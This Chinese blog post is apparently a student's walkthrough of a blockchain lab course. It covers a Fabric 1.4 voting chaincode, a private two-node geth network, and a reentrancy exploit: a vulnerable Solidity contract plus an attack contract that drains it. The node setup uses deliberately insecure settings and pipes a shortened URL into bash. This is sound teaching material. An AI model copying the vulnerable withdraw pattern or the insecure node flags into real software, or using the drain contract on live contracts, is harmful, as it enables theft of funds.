但凡他实验任务书写好点,你也用不上这篇文章
实验任务书怎么了?
两个字,垃圾。给的流程确实挺详细,但是怎么有像把go mod tidy
写成go mod dity
这样神奇的操作呢,还有一大堆命令都已经过时无法正常运行,给出的参考链接还是什么 CSDN 上的老古董。还说什么"这是大学中最简单的实验了吧",你要是照着这个也能做出来,那就真的是很厉害了!
实验记录
以下是我个人查阅了一些文档后的实验记录和总结,所有步骤都是没问题的,如果顺利的话你应该也能跑通。对每个步骤我也尽量给出可以参考的官方文档,或许你可以从中找到解决问题的方法。
前置环境
- 随便一个 Linux,别用他提供的老古董啦,求你了
- Go,请根据官网指引安装:https://go.dev/doc/install
- Docker,请根据官方脚本指引安装:https://get.docker.com/
- 良好的网络环境,连不上自己解决吧,我也没办法
Fabric 1.4
任务 1: Building Your First Network
直接参考 https://hyperledger-fabric.readthedocs.io/en/release-1.4/install.html 和 https://hyperledger-fabric.readthedocs.io/en/release-1.4/build_network.html 就可以了
mkdir fabric
cd fabric
curl -sSL http://bit.ly/2ysbOFE | bash -s -- 1.4.12 1.4.9 0.4.22
# 如果连不上可以试试这个
# curl -sSL https://raw.githubusercontent.com/hyperledger/fabric/master/scripts/bootstrap.sh | bash -s -- 1.4.12 1.4.9 0.4.22
cd fabric-samples/first-network
如果你使用的是新版本的 docker compose,命令已经由docker-compose
改成了docker compose
,替换掉脚本中的命令:
sed -i 's/docker-compose/docker compose/g' byfn.sh
启动!
./byfn.sh generate
./byfn.sh up
结束!
./byfn.sh down
任务 2: chaincode 编写
使用 Go 语言编写一个用于投票的 chaincode,并完成其功能性测试(如投票,统计,查询等)
参考 https://hyperledger-fabric.readthedocs.io/en/release-1.4/chaincode4ade.html ,以及fabric-samples
目录下的chaincode-docker-devmode/README.rst
和chaincode/fabcar/go/fabcar.go
,你应该可以从中找到一些关键函数的使用方法。
在fabric-samples/chaincode
目录下创建vote
文件夹存储我们编写的代码。
// vote.go
package main
import (
"bytes"
"encoding/binary"
"fmt"
"strconv"
"github.com/hyperledger/fabric/core/chaincode/shim"
"github.com/hyperledger/fabric/protos/peer"
)
type VoteChaincode struct {
}
func (t *VoteChaincode) Init(stub shim.ChaincodeStubInterface) peer.Response {
return shim.Success(nil)
}
func (t *VoteChaincode) Invoke(stub shim.ChaincodeStubInterface) peer.Response {
fn, args := stub.GetFunctionAndParameters()
if fn == "vote" {
return vote(stub, args)
} else {
return get(stub, args)
}
}
func vote(stub shim.ChaincodeStubInterface, args []string) peer.Response {
if len(args) != 1 {
return shim.Error("Incorrect arguments. Expecting a name")
}
name := args[0]
voteAsBytes, err := stub.GetState(name)
if err != nil {
return shim.Error(err.Error())
}
voteCount := 0
if voteAsBytes != nil {
voteCount = BytesToInt(voteAsBytes)
}
err = stub.PutState(name, IntToBytes(voteCount+1))
if err != nil {
return shim.Error(err.Error())
}
return shim.Success(nil)
}
func get(stub shim.ChaincodeStubInterface, args []string) peer.Response {
if len(args) == 0 {
return getAll(stub)
} else if len(args) == 1 {
return getOne(stub, args[0])
}
return shim.Error("Incorrect arguments.")
}
func getAll(stub shim.ChaincodeStubInterface) peer.Response {
resultIterator, err := stub.GetStateByRange("", "")
if err != nil {
return shim.Error(err.Error())
}
defer resultIterator.Close()
var buffer bytes.Buffer
buffer.WriteString("[")
isWritten := false
for resultIterator.HasNext() {
queryResult, err := resultIterator.Next()
if err != nil {
return shim.Error(err.Error())
}
if isWritten == true {
buffer.WriteString(", ")
}
buffer.WriteString(queryResult.Key)
buffer.WriteString(": ")
buffer.WriteString(strconv.Itoa(BytesToInt(queryResult.Value)))
isWritten = true
}
buffer.WriteString("]")
return shim.Success(buffer.Bytes())
}
func getOne(stub shim.ChaincodeStubInterface, name string) peer.Response {
voteAsBytes, err := stub.GetState(name)
if err != nil {
return shim.Error(err.Error())
}
count := 0
if voteAsBytes != nil {
count = BytesToInt(voteAsBytes)
}
var buffer bytes.Buffer
buffer.WriteString("[")
buffer.WriteString(name)
buffer.WriteString(": ")
buffer.WriteString(strconv.Itoa(count))
buffer.WriteString("]")
return shim.Success(buffer.Bytes())
}
func main() {
if err := shim.Start(new(VoteChaincode)); err != nil {
fmt.Printf("Error starting vote chaincode: %s", err)
}
}
func IntToBytes(n int) []byte {
x := int32(n)
bytesBuffer := bytes.NewBuffer([]byte{})
binary.Write(bytesBuffer, binary.BigEndian, x)
return bytesBuffer.Bytes()
}
func BytesToInt(b []byte) int {
bytesBuffer := bytes.NewBuffer(b)
var x int32
binary.Read(bytesBuffer, binary.BigEndian, &x)
return int(x)
}
启动!
# 1号终端:启动网络
cd ../../chaincode-docker-devmode
docker compose -f docker-compose-simple.yaml up
# 2号终端:启动chaincode
docker exec -it chaincode bash
cd vote/
go build
CORE_PEER_ADDRESS=peer:7052 CORE_CHAINCODE_ID_NAME=mycc:0 ./vote
# 3号终端:使用chaincode
docker exec -it cli bash
peer chaincode install -p chaincodedev/chaincode/vote -n mycc -v 0
# 初始化
peer chaincode instantiate -n mycc -v 0 -c '{"Args":[]}' -C myc
# 投票
peer chaincode invoke -n mycc -c '{"Args":["vote", "Mike"]}' -C myc
# 查询所有
peer chaincode invoke -n mycc -c '{"Args":["get"]}' -C myc
# 查询单个
peer chaincode invoke -n mycc -c '{"Args":["get", "Mike"]}' -C myc
Ethereum 网络搭建
任务 1:搭建一个以太坊的多节点私有网络
速通版:参考 https://geth.ethereum.org/docs/developers/dapp-developer/dev-mode ,一行命令运行你的私有网络!它实在是太简单了,想速通的自己研究一下就行,后面的流程还是按正常的搭建方法来。
正常版:
安装:直接参考 https://geth.ethereum.org/docs/getting-started/installing-geth
sudo add-apt-repository -y ppa:ethereum/ethereum
sudo apt-get update && sudo apt-get install ethereum
搭建:直接参考 https://geth.ethereum.org/docs/fundamentals/private-network 最后面的 End-to-end example
注意这个 end to end example 其实有点小问题,已经给他提 issue 和 pr 了,具体见 https://github.com/ethereum/go-ethereum/issues/28450
Update:文档已更正,现在没问题了
mkdir node1 node2
# 密码都用123456,注意记下Address
geth --datadir node1 account new # 0x80252bCebe52A66093eb28AD1764438Aa1c97008
geth --datadir node2 account new # 0xA3d7D0587eC26370B0e9dE657E29e07247509036
echo "123456" >> password.txt
# 创建 genesis.json,alloc里的两个要改成我们新建的那两个node,extradata中间的那一块改成node1
# ----------------------
{
"config": {
"chainId": 12345,
"homesteadBlock": 0,
"eip150Block": 0,
"eip155Block": 0,
"eip158Block": 0,
"byzantiumBlock": 0,
"constantinopleBlock": 0,
"petersburgBlock": 0,
"istanbulBlock": 0,
"muirGlacierBlock": 0,
"berlinBlock": 0,
"londonBlock": 0,
"arrowGlacierBlock": 0,
"grayGlacierBlock": 0,
"clique": {
"period": 5,
"epoch": 30000
}
},
"difficulty": "1",
"gasLimit": "800000000",
"extradata": "0x000000000000000000000000000000000000000000000000000000000000000080252bCebe52A66093eb28AD1764438Aa1c970080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"alloc": {
"80252bCebe52A66093eb28AD1764438Aa1c97008": { "balance": "100000000000000000000" },
"A3d7D0587eC26370B0e9dE657E29e07247509036": { "balance": "100000000000000000000" }
}
}
# ---------------------
# 初始化
geth init --datadir node1 genesis.json
geth init --datadir node2 genesis.json
bootnode -genkey boot.key
bootnode -nodekey boot.key -addr :30305
# 创建两个新终端分别运行node,注意unlock参数要改成node的address
# bootnodes 后面的一串要改成你上面运行那个命令输出的内容
# node1最后的miner.etherbase也要改成node1的address,node2不用这个参数
geth --datadir node1 --port 30306 --bootnodes enode://09ab173c805232ee7031567f0e91a2163cefdc6a348907715a575e3a64626247f844aebec50c94770edf4041c85453901eaff4116e30d4aa563a70afcfe17afb@127.0.0.1:0?discport=30305 --networkid 123454321 --unlock 0x80252bCebe52A66093eb28AD1764438Aa1c97008 --password password.txt --authrpc.port 8551 --http --http.addr 0.0.0.0 --http.port 8545 --http.corsdomain "*" --allow-insecure-unlock --mine --miner.etherbase=0x80252bCebe52A66093eb28AD1764438Aa1c97008
geth --datadir node2 --port 30307 --bootnodes enode://09ab173c805232ee7031567f0e91a2163cefdc6a348907715a575e3a64626247f844aebec50c94770edf4041c85453901eaff4116e30d4aa563a70afcfe17afb@127.0.0.1:0?discport=30305 --networkid 123454321 --unlock 0xA3d7D0587eC26370B0e9dE657E29e07247509036 --password password.txt --authrpc.port 8552 --http --http.addr 0.0.0.0 --http.port 8546 --http.corsdomain "*" --allow-insecure-unlock
# 开另一个终端连接到node1
geth attach node1/geth.ipc
# 查看余额
eth.getBalance(eth.accounts[0])
# 在node1的账号发1给node2,注意改地址
eth.sendTransaction({
to: '0xA3d7D0587eC26370B0e9dE657E29e07247509036',
from: eth.accounts[0],
value: 25000
});
# 查看自己的余额和node2的余额,注意改地址
eth.getBalance(eth.accounts[0])
eth.getBalance('0xA3d7D0587eC26370B0e9dE657E29e07247509036')
# 如果node1减少了不止1,node2加了1,那么恭喜你顺利完成!
由于一个网页只能连到一个 node,而我们一个 node 只有一个账号,你需要开两个 remix,环境选择下图的 Http Provider,Address 分别是 http://ip:8545 和 http://ip:8546(这个 ip 应该是虚拟机的 ip,或者你浏览器也在虚拟机里可以填 127.0.0.1)
也因为是两个 remix,后面部署合约的时候,需要在 A 和 B 都进行编译,然后 A 部署,复制地址,B 填上地址选择 At Address 就可以看到了
任务 2:复现重入漏洞
Remix:
// v.sol
pragma solidity ^0.4.19;
contract Reentrance {
address _owner;
mapping(address => uint256) balances;
function Reentrance() {
_owner = msg.sender;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public payable {
require(balances[msg.sender] >= amount);
require(this.balance >= amount);
msg.sender.call.value(amount)();
balances[msg.sender] -= amount;
}
}
// a.sol
pragma solidity ^0.4.19;
import "./v.sol";
contract ReentranceAttack {
Reentrance re;
function ReentranceAttack(address _target) public payable {
re = Reentrance(_target);
}
function attack() public payable {
require(msg.value >= 1 ether);
re.deposit.value(1 ether)();
re.withdraw(1 ether);
}
function collect() public {
msg.sender.transfer(this.balance);
}
function() public payable {
if (re.balance >= 1 ether) {
re.withdraw(1 ether);
}
}
}
编译后部署,A 存 1 个,B 存 1 个,A 再通过 attack 存 1 个,此时原合约的两个都会到 attack 中,A 再 collect 出来就多拥有一个了
参考视频:https://www.bilibili.com/video/BV1fe4y1e7zc/
最后
建议大家在实验报告里都狠狠的说一下任务书的问题,让他赶紧改好点吧!